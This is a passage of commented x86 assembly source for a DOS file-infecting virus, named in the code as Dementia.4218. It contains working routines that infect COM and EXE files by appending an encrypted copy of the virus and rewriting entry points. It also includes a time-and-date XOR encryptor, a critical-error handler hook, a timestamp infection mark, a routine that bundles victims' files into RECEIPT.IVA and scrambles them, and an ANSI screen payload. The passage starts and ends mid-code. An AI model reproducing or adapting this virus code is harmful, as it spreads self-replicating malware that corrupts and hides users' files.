mov es,ax ; ES = " " " " "
|
|
encrypt_rece:
|
|
mov cx,400h ; Read one thousand and twenty-fou...
|
|
call read_file
|
|
cmp ax,00h ; Read all of the file?
|
|
je set_dta_addr ; Equal? Jump to set_dta_addr
|
|
|
|
push ax ; Save AX at stack
|
|
xor dx,dx ; Zero DX
|
|
sub dx,ax ; DX = -number of bytes actually read
|
|
mov cx,-01h
|
|
call set_pos_cfp
|
|
|
|
pop ax ; Load AX from stack
|
|
push ax ; Save AX at stack
|
|
|
|
mov cx,ax ; CX = number of bytes actually read
|
|
xor si,si ; Zero SI
|
|
xor di,di ; Zero DI
|
|
encrypt_ipt_:
|
|
lodsb ; AL = byte of RECEIPT.IVA
|
|
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
|
|
stosb ; Store encrypted byte of RECEIPT.IVA
|
|
loop encrypt_ipt_
|
|
|
|
pop ax ; Load AX from stack
|
|
mov cx,ax ; CX = number of bytes actually read
|
|
call write_file
|
|
|
|
jmp encrypt_rece
|
|
set_dta_addr:
|
|
call close_file
|
|
|
|
mov ds,[bp-26h] ; DS = segment of disk transfer area
|
|
mov dx,[bp-28h] ; DX = offset of disk transfer area
|
|
mov ah,1ah ; Set disk transfer area address
|
|
int 21h
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h+40h
|
|
mov ds,ax ; DS = segment of data buffer
|
|
|
|
xor dx,dx ; Zero DX
|
|
mov ah,3bh ; Set current directory
|
|
int 21h
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
|
|
lea si,receipt_iva ; SI = offset of receipt_iva
|
|
nop
|
|
lea di,filename ; DI = offset of filename
|
|
nop
|
|
mov cx,0dh ; Move thirteen bytes
|
|
rep movsb ; Move RECEIPT.IVA to filename
|
|
|
|
jmp open_filenam
|
|
call_mark_:
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
call infect_mark
|
|
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
call close_file
|
|
|
|
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
|
|
call close_file
|
|
|
|
lea dx,temp_file ; DX = offset of temp_file
|
|
nop
|
|
call delete_file
|
|
inf_zip_exit:
|
|
call int24_load
|
|
|
|
pop es ds di si dx cx bx ax
|
|
|
|
mov sp,bp ; SP = stack pointer
|
|
|
|
pop bp ; Load BP from stack
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
infect_com proc near ; Infect COM file
|
|
push bp ; Save BP at stack
|
|
mov bp,sp ; BP = stack pointer
|
|
sub sp,04h ; Correct stack pointer
|
|
|
|
mov ah,00h ; COM executable
|
|
nop
|
|
nop
|
|
mov cs:[com_or_exe],ah ; Store COM executable
|
|
|
|
mov ax,ds:[00h] ; AX = word of original code of CO...
|
|
mov word ptr cs:[origin_code],ax
|
|
mov al,ds:[02h] ; AL = byte of original code of CO...
|
|
mov cs:[origin_code+02h],al
|
|
|
|
call encrypt_copy
|
|
|
|
call set_pos_eof
|
|
mov [bp-04h],ax ; Store low-order word of filesize
|
|
mov [bp-02h],dx ; Store high-order word of filesize
|
|
|
|
push ax ; Save AX at stack
|
|
mov ax,cs:[tst_filesize]
|
|
cmp ax,01h ; Don't test filesize?
|
|
pop ax ; Load AX from stack
|
|
je calc_buf_seg ; Equal? Jump to calc_buf_seg
|
|
|
|
cmp dx,00h ; Filesize too large?
|
|
jne inf_com_exit ; Not equal? Jump to inf_com_exit
|
|
cmp ax,1000h ; Filesize too small?
|
|
jb inf_com_exit ; Below? Jump to inf_com_exit
|
|
calc_buf_seg:
|
|
add ax,(code_end-code_begin)
|
|
jb inf_com_exit ; Filesize too large? Jump to inf_...
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
mov ds,ax ; DS = segment of data buffer
|
|
|
|
mov cx,10h ; CX = number of bytes to add to f...
|
|
mov ax,[bp-04h] ; AX = filesize
|
|
and ax,0000000000001111b
|
|
sub cx,ax ; CX = number of bytes to add to f...
|
|
|
|
mov ax,[bp-04h] ; AX = filesize
|
|
add ax,cx ; AX = offset of virus within file
|
|
mov [bp-04h],ax ; Store offset of virus within file
|
|
|
|
call write_file_
|
|
|
|
mov cx,(code_end-code_begin)
|
|
call write_file
|
|
|
|
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
|
mov ds:[00h],al ; Store JMP imm16
|
|
|
|
mov ax,[bp-04h] ; AX = filesize
|
|
sub ax,03h ; Subtract size of opcode JMP imm16
|
|
mov ds:[01h],ax ; Store 16-bit immediate
|
|
|
|
call set_pos_sof
|
|
|
|
mov cx,03h ; Write three bytes
|
|
call write_file
|
|
inf_com_exit:
|
|
mov sp,bp ; SP = stack pointer
|
|
|
|
pop bp ; Load BP from stack
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
infect_exe proc near ; Infect EXE file
|
|
push bp ; Save BP at stack
|
|
mov bp,sp ; BP = stack pointer
|
|
sub sp,04h ; Correct stack pointer
|
|
|
|
mov ah,01h ; EXE executable
|
|
nop
|
|
nop
|
|
mov cs:[com_or_exe],ah ; Store EXE executable
|
|
|
|
call set_pos_eof
|
|
mov [bp-04h],ax ; Store low-order word of filesize
|
|
mov [bp-02h],dx ; Store high-order word of filesize
|
|
|
|
and ax,0000000000001111b
|
|
mov cx,10h ; CX = number of bytes to add to f...
|
|
sub cx,ax ; CX = " " " " " " "
|
|
|
|
mov ax,[bp-04h] ; AX = low-order word of filesize
|
|
mov dx,[bp-02h] ; DX = high-order word of filesize
|
|
add ax,cx ; Add number of bytes to add to fi...
|
|
adc dx,00h ; Convert to 32-bit
|
|
mov [bp-04h],ax ; Store low-order word of pointer ...
|
|
mov [bp-02h],dx ; Store high-order word of pointer...
|
|
|
|
call write_file_
|
|
|
|
push bx ; Save BX at stack
|
|
mov ax,[bp-04h] ; AX = low-order word of pointer t...
|
|
mov dx,[bp-02h] ; DX = high-order word of pointer ...
|
|
|
|
mov bx,ds:[08h] ; BX = header size in paragraphs
|
|
mov cl,0ch ; Divide by four thousand and nine...
|
|
shr bx,cl ; BX = header size in sixty-five t...
|
|
sub dx,bx ; Subtract header size in sixty fi...
|
|
|
|
mov bx,ds:[08h] ; BX = header size in paragraphs
|
|
mov cl,04h ; Multiply by paragraphs
|
|
shl bx,cl ; BX = header size
|
|
sub ax,bx ; Subtract header size from filesize
|
|
sbb dx,00h ; Convert to 32-bit
|
|
mov [bp-04h],ax ; Store low-order word of pointer ...
|
|
mov [bp-02h],dx ; Store high-order word of pointer...
|
|
pop bx ; Load BX from stack
|
|
|
|
mov ax,ds:[14h] ; AX = original instruction pointer
|
|
mov cs:[instruct_ptr],ax
|
|
mov ax,ds:[16h] ; AX = original code segment
|
|
mov cs:[code_seg],ax ; Store original code segment
|
|
|
|
xor ax,ax ; Zero AX
|
|
mov ds:[14h],ax ; Store initial IP
|
|
mov cs:[initial_ip],ax ; Store " "
|
|
|
|
mov ax,[bp-02h] ; AX = high-order word of pointer ...
|
|
test ax,1111111111110000b
|
|
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr
|
|
|
|
jmp inf_exe_exit
|
|
calc_ins_ptr:
|
|
mov cl,0ch
|
|
shl ax,cl ; Multiply by sixty-five thousand ...
|
|
|
|
mov dx,[bp-04h] ; DX = low-order word of pointer t...
|
|
mov cl,04h ; Divide by paragraphs
|
|
shr dx,cl ; DX = low-order word of pointer t...
|
|
add ax,dx ; AX = initial CS relative to star...
|
|
mov ds:[16h],ax ; Store initial CS relative to sta...
|
|
mov cs:[initial_cs],ax ; " " " " " "
|
|
|
|
push ax ; Save AX at stack
|
|
mov ax,ds:[0eh] ; AX = initial SS relative to star...
|
|
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
|
|
mov ax,ds:[10h] ; AX = initial SP
|
|
mov cs:[stack_ptr],ax ; Store initial SP
|
|
pop ax ; Load AX from stack
|
|
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
jae store_stack ; Above or equal? Jump to store_stack
|
|
|
|
jmp inf_exe_exit
|
|
|
|
nop
|
|
store_stack:
|
|
mov ds:[0eh],ax ; Store initial SS relative to sta...
|
|
mov ax,100h ; AX = initial SP
|
|
mov ds:[10h],ax ; Store initial SP
|
|
|
|
push bx ; Save BX at stack
|
|
mov ax,[bp-04h] ; AX = low-order word of pointer t...
|
|
mov dx,[bp-02h] ; DX = high-order word of pointer ...
|
|
|
|
mov bx,ds:[08h] ; BX = header size in paragraphs
|
|
mov cl,0ch ; Divide by four thousand and nine...
|
|
shr bx,cl ; BX = header size in sixty-five t...
|
|
add dx,bx ; Add header size in sixty-five th...
|
|
|
|
mov bx,ds:[08h] ; BX = header size in paragraphs
|
|
mov cl,04h ; Multiply by paragraphs
|
|
shl bx,cl ; BX = header size
|
|
add ax,bx ; Add header size to filesize
|
|
adc dx,00h ; Convert to 32-bit
|
|
mov [bp-04h],ax ; Store low-order word of pointer ...
|
|
mov [bp-02h],dx ; Store high-order word of pointer...
|
|
pop bx ; Load BX from stack
|
|
|
|
mov ax,[bp-04h] ; AX = low-order word of pointer t...
|
|
mov dx,[bp-02h] ; DX = high-order word of pointer ...
|
|
add ax,(code_end-code_begin)
|
|
adc dx,00h ; Convet to 32-bit
|
|
|
|
mov cl,07h
|
|
shl dx,cl ; Multiply by one hundred and twen...
|
|
|
|
push ax ; Save AX at stack
|
|
mov cl,09h ; Divide by pages
|
|
shr ax,cl ; AX = low-order word of pointer t...
|
|
add dx,ax ; DX = number of bytes on last 512...
|
|
pop ax ; Load AX from stack
|
|
|
|
and ax,0000000000011111b
|
|
jz store_pages ; Zero? Jump to store_pages
|
|
|
|
inc dx ; Increase number of bytes on last...
|
|
|
|
jmp store_pages_
|
|
|
|
nop
|
|
store_pages:
|
|
mov ax,200h ; AX = total number of 512-bytes p...
|
|
store_pages_:
|
|
mov ds:[02h],ax ; Store total number of 512-bytes ...
|
|
mov ds:[04h],dx ; Store number of bytes on last 51...
|
|
|
|
mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...
|
|
cmp ax,10h ; Maximum paragraphs to allocate ...?
|
|
jae store_maximu ; Above or equal? Jump to store_ma...
|
|
|
|
mov ax,10h ; AX = new maximum paragraphs to a...
|
|
store_maximu:
|
|
mov ds:[0ch],ax ; Store maximum paragraphs to allo...
|
|
|
|
call set_pos_sof
|
|
|
|
mov cx,20h ; Write thirty-two bytes
|
|
call write_file
|
|
|
|
call set_pos_eof
|
|
|
|
call encrypt_copy
|
|
|
|
mov cx,(code_end-code_begin)
|
|
call write_file
|
|
inf_exe_exit:
|
|
mov sp,bp ; SP = stack pointer
|
|
|
|
pop bp ; Load BP from stack
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
encrypt_copy proc near ; Move virus to data buffer and en...
|
|
push bx ; Save BX at stack
|
|
|
|
mov ah,2ch ; Get system time
|
|
int 21h
|
|
mov bx,cx ; BX = hour and minute
|
|
xor bx,dx ; BX = 16-bit random number
|
|
|
|
mov ah,2ah ; Get system date
|
|
int 21h
|
|
xor bx,cx ; BX = 16-bit random number
|
|
xor bx,dx ; BX = decryption key
|
|
mov dx,bx ; DX = " "
|
|
|
|
mov cs:[decrypt_key],dx ; Store decryption key
|
|
|
|
pop bx ; Load BX from stack
|
|
|
|
cld ; Clear direction flag
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
mov es,ax ; ES = segment of data buffer
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
xor si,si ; Zero SI
|
|
xor di,di ; Zero DI
|
|
mov cx,(code_end-code_begin)
|
|
rep movsb ; Move virus to data buffer
|
|
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
lea si,crypt_begin-02h ; SI = offset of crypt_end
|
|
mov di,si ; DI = " " "
|
|
mov cx,(crypt_begin-crypt_end-02h)/02h
|
|
|
|
std ; Set direction flag
|
|
encrypt_loop:
|
|
lodsw ; AX = word of plain code
|
|
xor ax,dx ; Encrypt word
|
|
stosw ; Store encrypted word
|
|
|
|
loop encrypt_loop
|
|
|
|
cld ; Clear direction flag
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
int24_store proc near ; Get and set interrupt vector 24h
|
|
push bx dx ds es ; Save registers at stack
|
|
|
|
mov ax,3524h ; Get interrupt vector 24h
|
|
int 21h
|
|
mov word ptr cs:[int24_addr],bx
|
|
mov word ptr cs:[int24_addr+02h],es
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h
|
|
mov ax,2524h ; Set interrupt vector 24h
|
|
int 21h
|
|
|
|
pop es ds dx bx ; Load registers from stack
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
int24_load proc near ; Set interrupt vector 24h
|
|
push dx ds ; Load registers from stack
|
|
|
|
mov dx,word ptr cs:[int24_addr]
|
|
mov ds,word ptr cs:[int24_addr+02h]
|
|
mov ax,2524h ; Set interrupt vector 24h
|
|
int 21h
|
|
|
|
pop ds dx ; Load registers from stack
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
int24_virus proc near ; Interrupt 24h of Dementia.4218
|
|
mov al,03h ; Fail system call in progress
|
|
|
|
iret ; Interrupt return!
|
|
endp
|
|
|
|
calc_crc32 proc near ; Calculate CRC-32 checksum
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
mov ds,ax ; DS = segment of data buffer
|
|
|
|
add ax,40h ; AX = segment of CRC-32 table
|
|
mov es,ax ; ES = " " " "
|
|
|
|
xor di,di ; Zero DI
|
|
xor cx,cx ; Zero CX
|
|
gen_crc_tab:
|
|
xor dx,dx ; Zero DX
|
|
xor ax,ax ; Zero AX
|
|
|
|
mov al,cl ; AL = counter
|
|
push cx ; Save CX at stack
|
|
mov cx,08h ; Calculate each CRC-32 table entr...
|
|
gen_crc_loop:
|
|
clc ; Clear carry flag
|
|
rcr dx,01h ; Rotate DX through carry one bit ...
|
|
rcr ax,01h ; Rotate AX through carry one bit ...
|
|
jnc carry_loop ; No carry? Jump to carry_loop
|
|
|
|
xor dx,0edb8h ; DX = high-order word of CRC-32 t...
|
|
xor ax,8320h ; AX = low-order word of CRC-32 ta...
|
|
carry_loop:
|
|
loop gen_crc_loop
|
|
|
|
mov es:[di],ax ; Store low-order word of CRC-32 t...
|
|
mov es:[di+02h],dx ; Store high-order word of CRC-32 ...
|
|
|
|
add di,04h ; DI = offset of next CRC-32 table...
|
|
|
|
pop cx ; Load CX from stack
|
|
inc cx ; Increase count register
|
|
cmp cx,100h ; Generated enough CRC-32 table en...
|
|
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab
|
|
|
|
call set_pos_sof
|
|
|
|
mov dx,0ffffh ; DX = high-order word of CRC-32 c...
|
|
mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
|
|
read_block:
|
|
push ax dx ; Save registers at stack
|
|
mov cx,400h ; Read one thousand and twenty-fou...
|
|
call read_file
|
|
cmp ax,00h ; Read all of the file?
|
|
je calc_crc_xit ; Equal? Jump to calc_crc_xit
|
|
|
|
mov cx,ax ; CX = number of bytes actually read
|
|
|
|
pop dx ax ; Load registers from stack
|
|
|
|
xor si,si ; Zero SI
|
|
cal_crc_loop:
|
|
push bx cx ; Save registers at stack
|
|
xor bh,bh ; Zero BH
|
|
mov bl,[si] ; BL = byte of file
|
|
inc si ; Increase index register
|
|
|
|
xor bl,al ; Exclusive OR (XOR) byte of file ...
|
|
mov cl,02h
|
|
shl bx,cl ; Multiply by four
|
|
mov di,bx ; DI = offset of next CRC-32 table...
|
|
|
|
mov al,ah ; AL = low-order byte of low-order...
|
|
mov ah,dl ; AH = high-order byte of low-orde...
|
|
mov dl,dh ; DL = low-order byte of high-orde...
|
|
xor dh,dh ; Zero DH
|
|
|
|
mov bx,es:[di] ; BX = low-order word of CRC-32 ta...
|
|
xor ax,bx ; AX = low-order word of CRC-32 ch...
|
|
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
|
|
xor dx,bx ; DX = high-order word of CRC-32 c...
|
|
|
|
pop cx bx ; Load registers from stack
|
|
|
|
loop cal_crc_loop
|
|
|
|
jmp read_block
|
|
calc_crc_xit:
|
|
pop dx ax ; Load registers from stack
|
|
|
|
xor dx,0ffffh ; DX = high-order word of CRC-32 c...
|
|
xor ax,0ffffh ; AX = low-order word of CRC-32 ch...
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
create_recei proc near ; Create RECEIPT.IVA file
|
|
push bp ; Save BP at stack
|
|
mov bp,sp ; BP = stack pointer
|
|
sub sp,12h ; Correct stack pointer
|
|
|
|
mov [bp-08h],ax ; Store number of file specifications
|
|
mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
|
|
mov [bp-02h],dx ; Store store or don't store backs...
|
|
mov [bp-06h],ds ; Store segment of file specificat...
|
|
|
|
mov ah,3bh ; Set current directory
|
|
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
xor dx,dx ; Zero DX
|
|
int 21h
|
|
|
|
mov ax,[bp-08h] ; AX = number of file specifications
|
|
xor cx,cx ; Zero CX
|
|
mov cl,al ; CL = number of file specifications
|
|
xor dx,dx ; Zero DX
|
|
find_first_:
|
|
mov ds,[bp-06h] ; DS = segment of file specification
|
|
push cx ; Save CX at stack
|
|
mov cx,0000000000000111b
|
|
call find_first
|
|
push dx ; Save DX at stack
|
|
jnc find_next_ ; No error? Jump to find_next_
|
|
|
|
jmp fnd_nxt_loop
|
|
|
|
nop
|
|
find_next_:
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h+48h
|
|
mov ds,ax ; DS = segment of disk transfer area
|
|
|
|
mov dx,1eh ; DX = offset of filename
|
|
call open_file
|
|
mov [bp-12h],ax ; Store file handle of file within...
|
|
|
|
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
|
|
call set_pos_eof
|
|
|
|
push ds ; Save DS at stack
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h+44h
|
|
mov ds,ax ; DS = segment of end of pathname
|
|
|
|
mov cx,40h ; Write sixty-four bytes
|
|
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
|
|
call write_file
|
|
pop ds ; Load DS from stack
|
|
|
|
mov cx,0eh ; Write fourteen bytes
|
|
mov dx,1eh ; DX = offset of filename
|
|
call write_file_
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h+4ch
|
|
mov ds,ax ; DS = segment of data buffer
|
|
|
|
mov bx,[bp-12h] ; BX = file handle of file within ...
|
|
call set_pos_eof
|
|
mov ds:[00h],ax ; Store low-order word of filesize
|
|
mov ds:[02h],dx ; Store high-order word of filesize
|
|
|
|
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
|
|
mov cx,04h ; Write four bytes
|
|
call write_file
|
|
|
|
mov bx,[bp-12h] ; BX = file handle of file within ...
|
|
call set_pos_sof
|
|
copy_file:
|
|
mov bx,[bp-12h] ; BX = file handle of file within ...
|
|
mov cx,400h ; Read one thousand and twenty-fou...
|
|
call read_file
|
|
cmp ax,00h ; Read all of the file?
|
|
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt
|
|
|
|
mov cx,ax ; CX = number of bytes actually read
|
|
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
|
|
call write_file
|
|
|
|
jmp copy_file
|
|
call_fnd_nxt:
|
|
mov bx,[bp-12h] ; BX = file handle of file within ...
|
|
call close_file
|
|
|
|
call find_next
|
|
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
|
|
|
|
jmp find_next_
|
|
fnd_nxt_loop:
|
|
pop dx cx ; Load registers from stack
|
|
|
|
add dx,0eh ; DX = offset of next file specifi...
|
|
|
|
dec cx ; Decrease count register
|
|
cmp cx,00h ; No more files?
|
|
je copy_name ; Equal? Jump to copy_name
|
|
|
|
jmp find_first_
|
|
copy_name:
|
|
xor cx,cx ; Zero CX
|
|
find_first__:
|
|
push cx ; Save CX at stack
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
lea dx,file_specifi ; DX = offset of file_specifi
|
|
nop
|
|
mov cx,0000000000010111b
|
|
call find_first
|
|
jc receip_exit ; Error? Jump to receip_exit
|
|
|
|
pop cx ; Load CX from stack
|
|
push cx ; Save CX at stack
|
|
|
|
jmp test_count
|
|
|
|
nop
|
|
found_dir:
|
|
push cx ; Save CX at stack
|
|
|
|
mov cx,01h ; Don't examine disk transfer area
|
|
test_count:
|
|
cmp cx,00h ; Examine disk transfer area?
|
|
je examine_dta ; Equal? Jump to examine_dta
|
|
|
|
call find_next
|
|
jc receipt_exit ; Error? Jump to receipt_exit
|
|
|
|
dec cx ; Decrease CX
|
|
|
|
jmp test_count
|
|
examine_dta:
|
|
pop cx ; Load CX from stack
|
|
inc cx ; Increase count register
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h+44h
|
|
mov es,ax ; ES = segment of end of pathname
|
|
add ax,04h ; AX = segment of disk transfer area
|
|
mov ds,ax ; DS = " " " " "
|
|
|
|
mov si,15h ; SI = offset of attribute of file...
|
|
lodsb ; AL = attribute of file found
|
|
test al,00010000b ; Directory?
|
|
je found_dir ; Equal? Jump to found_dir
|
|
|
|
mov si,1eh ; SI = offset of filename
|
|
lodsb ; AL = byte of filename
|
|
cmp al,'.' ; Directory?
|
|
je found_dir ; Equal? Jump to found_dir
|
|
|
|
mov ax,[bp-02h] ; AX = store or don't store backslash
|
|
mov di,ax ; DI = offset of end of pathname
|
|
mov si,1eh ; SI = offset of filename
|
|
cmp al,01h ; Don't store backslash?
|
|
je copy_name_ ; Equal? Jump to copy_name_
|
|
|
|
mov al,'\' ; AL = backslash
|
|
stosb ; Store backslash
|
|
copy_name_:
|
|
lodsb ; AL = byte of filename
|
|
cmp al,00h ; End of filename?
|
|
je store_zero ; Equal? Jump to store_zero
|
|
|
|
stosb ; Store byte of filename
|
|
|
|
jmp copy_name_
|
|
store_zero:
|
|
mov dx,di ; DX = offset of end of pathname
|
|
xor al,al ; AL = zero
|
|
stosb ; Store zero
|
|
|
|
mov ax,[bp-08h] ; AX = number of file specifications
|
|
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
|
|
mov ds,[bp-06h] ; DS = segment of file specifictions
|
|
push cx ; Save CX at stack
|
|
call create_recei
|
|
pop cx ; Load CX from stack
|
|
|
|
mov ah,3bh ; Set current directory
|
|
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
xor dx,dx ; Zero DX
|
|
|
|
mov di,[bp-02h] ; DI = offset of end of pathname
|
|
xor al,al ; AL = zero
|
|
stosb ; Store zero
|
|
|
|
int 21h
|
|
|
|
jmp find_first__
|
|
receipt_exit:
|
|
pop cx ; Load CX from stack
|
|
receip_exit:
|
|
mov sp,bp ; SP = stack pointer
|
|
|
|
pop bp ; Load BP from stack
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
open_file proc near ; Open file
|
|
mov ax,3dffh ; Open file
|
|
xor cx,cx ; CL = attribute mask of files to ...
|
|
int 21h
|
|
mov bx,ax ; BX = file handle
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
close_file proc near ; Close file
|
|
mov ah,3eh ; Close file
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
find_first proc near ; Find first matching file
|
|
mov ax,4e00h ; Find first matching file
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
find_next proc near ; Find next matching file
|
|
mov ah,4fh ; Find next matching file
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
load_info proc near ; Get file's date and time
|
|
mov ax,5700h ; Get file's date and time
|
|
int 21h
|
|
mov [bp-04h],cx ; Store file time
|
|
mov [bp-02h],dx ; Store file date
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
infect_mark proc near ; Infection mark
|
|
mov ax,5701h ; Set file's date and time
|
|
mov cx,[bp-04h] ; CX = file time
|
|
mov dx,[bp-02h] ; DX = file date
|
|
and cx,1111111111100000b
|
|
or cx,0000000000000001b
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
read_file proc near ; Read from file
|
|
xor dx,dx ; Zero DX
|
|
|
|
read_file_ proc near ; Read from file
|
|
mov ah,3fh ; Read from file
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
endp
|
|
|
|
create_file proc near ; Create file
|
|
mov ah,3ch ; Create file
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
xor cx,cx ; CX = file attributes
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
write_file proc near ; Write to file
|
|
xor dx,dx ; Zero DX
|
|
|
|
write_file_ proc near ; Write to file
|
|
mov ah,40h ; Write to file
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
endp
|
|
|
|
set_pos_cfp proc near ; Set current file position (CFP)
|
|
mov ax,4201h ; Set current file position (CFP)
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
set_pos_eof proc near ; Set current file position (EOF)
|
|
mov ax,4202h ; Set current file position (EOF)
|
|
xor cx,cx ; Zero CX
|
|
cwd ; Zero DX
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
|
|
set_pos_sof proc near ; Set current file position (SOF)
|
|
xor cx,cx ; Zero CX
|
|
xor dx,dx ; Zero DX
|
|
|
|
set_pos_sof_ proc near ; Set current file position (SOF)
|
|
mov ax,4200h ; Set current file position (SOF)
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
endp
|
|
|
|
delete_file proc near ; Delete file
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
mov ah,41h ; Delete file
|
|
xor cx,cx ; CL = attribute mask for deletion
|
|
int 21h
|
|
|
|
ret ; Return!
|
|
endp
|
|
file_begin:
|
|
mov ax,0b800h ; AX = segment of text video RAM
|
|
mov es,ax ; ES = " " " " "
|
|
|
|
xor di,di ; Zero DI
|
|
mov cx,7d0h ; Store four thousand bytes
|
|
mov ax,720h ; Black background color, light-gr...
|
|
rep stosw ; Overwrite text video RAM
|
|
|
|
xor di,di ; Zero DI
|
|
mov si,(ansi_begin-file_begin+100h)
|
|
mov cx,(ansi_end-ansi_begin)
|
|
|
|
nop
|
|
load_ansi:
|
|
lodsb ; AL = byte of ansi
|
|
cmp al,0ffh ; Write a string?
|
|
jne store_ansi ; Not equal? Jump to store_ansi
|
|
|
|
lodsb ; AL = byte of ansi
|
|
dec cx ; Derease count register
|
|
cmp al,0ffh ; Write a single character?
|
|
je store_ansi ; Equal? Jump to store_ansi
|
|
|
|
push cx si ds ; Save registers at stack
|
|
xor cx,cx ; Zero CX
|
|
mov cl,al ; CL = size of string
|
|
lodsb ; AL = byte of ansi
|
|
mov bl,al ; BL = low-order byte of offset of...
|
|
lodsb ; AL = byte of ansi
|
|
mov bh,al ; BH = high-order byte of offset o...
|
|
mov si,bx ; SI = offset of string within ansi
|
|
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
rep movsb ; Move string to text video RAM
|
|
pop ds si cx ; Load registers at stack
|
|
|
|
add si,02h ; Add two to index register
|
|
|
|
sub cx,02h ; Subtract two from count register
|
|
|
|
jmp ansi_loop
|
|
|
|
nop
|
|
nop
|
|
store_ansi:
|
|
stosb ; Store a byte of ansi
|
|
ansi_loop:
|
|
loop load_ansi
|
|
|
|
int 20h
|
|
|
|
ansi_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
|
|
db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
|
|
db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
|
|
db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
|
|
db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
|
|
db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
|
|
db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
|
|
db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
|
|
db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
|
|
db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
|
|
db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
|
|
db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
|
|
db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
|
|
db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
|
|
db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
|
|
